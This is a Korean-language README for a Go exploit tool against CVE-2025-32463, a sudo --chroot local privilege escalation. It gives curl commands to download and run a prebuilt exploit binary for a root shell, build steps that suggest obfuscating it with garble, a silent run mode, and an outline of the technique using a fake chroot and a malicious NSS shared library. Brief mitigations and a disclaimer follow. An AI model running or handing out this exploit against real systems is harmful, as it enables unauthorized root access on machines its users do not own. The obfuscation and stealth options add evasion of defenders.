CVE-2025-32463 익스플로잇

개요

이 저장소는 sudo 버전 1.9.14부터 1.9.17에 존재하는 치명적인 로컬 권한 상승 취약점(CVSS 9.3)인 CVE-2025-32463에 대한 Go 기반 익스플로잇 도구를 제공합니다. 이 취약점은 --chroot (-R) 옵션의 결함을 악용하여 권한이 없는 로컬 사용자가 root 접근 권한을 획득할 수 있게 합니다.

⚠️ 경고: 교육 및 테스트 목적으로만 사용하십시오. 격리된 환경(예: VM)에서 사용하십시오. 악의적인 용도로 사용해서는 안 됩니다.

취약점 세부 정보

• CVE ID: CVE-2025-32463
• 영향받는 버전: sudo 1.9.14–1.9.17
• 영향: root로의 로컬 권한 상승
• 설명: 이 익스플로잇은 chroot 환경을 조작하여 악성 공유 라이브러리를 로드하고, UID/GID를 0으로 설정한 뒤 root 셸을 실행합니다.

사전 요구 사항

• Go 1.2+
• gcc
• libc-dev
• 취약한 sudo 버전
• sudo 접근 권한과 --chroot 권한을 가진 비특권 사용자

빠른 시작

사전 빌드된 바이너리 다운로드

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

소스에서 빌드

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

사용법

명령	설명
./exploit --help	사용법 도움말 표시
./exploit --about	CVE 세부 정보 표시
./exploit --execution	익스플로잇 실행(root 셸 열기)
./exploit --execution --silent	조용한 모드로 실행

확인: root 셸에서 id(결과에 uid=0(root)가 표시되어야 함) 또는 whoami(결과에 root가 표시되어야 함)를 실행하십시오.

작동 방식 (개략적 설명)

1. 임시 디렉터리 /tmp/sudowoot.stage.* 생성
2. root 셸을 위한 악성 C 코드(woot1337.c) 생성
3. NSS 설정을 포함한 가짜 chroot 구성
4. 공유 라이브러리(libnss_/woot1337.so.2)로 컴파일
5. sudo -R woot woot를 실행하여 라이브러리를 로드하고 권한 상승
6. 임시 파일 자동 정리

완화 방법

• sudo를 최신 버전으로 업데이트
• chroot 비활성화: /etc/sudoers에 Defaults !use_chroot 추가

참고 자료

• NVD 항목

면책 조항

이 도구는 보안 연구용입니다. 작성자는 오용에 대해 책임지지 않습니다. 항상 책임감 있게 테스트하십시오.

---

MNM 제작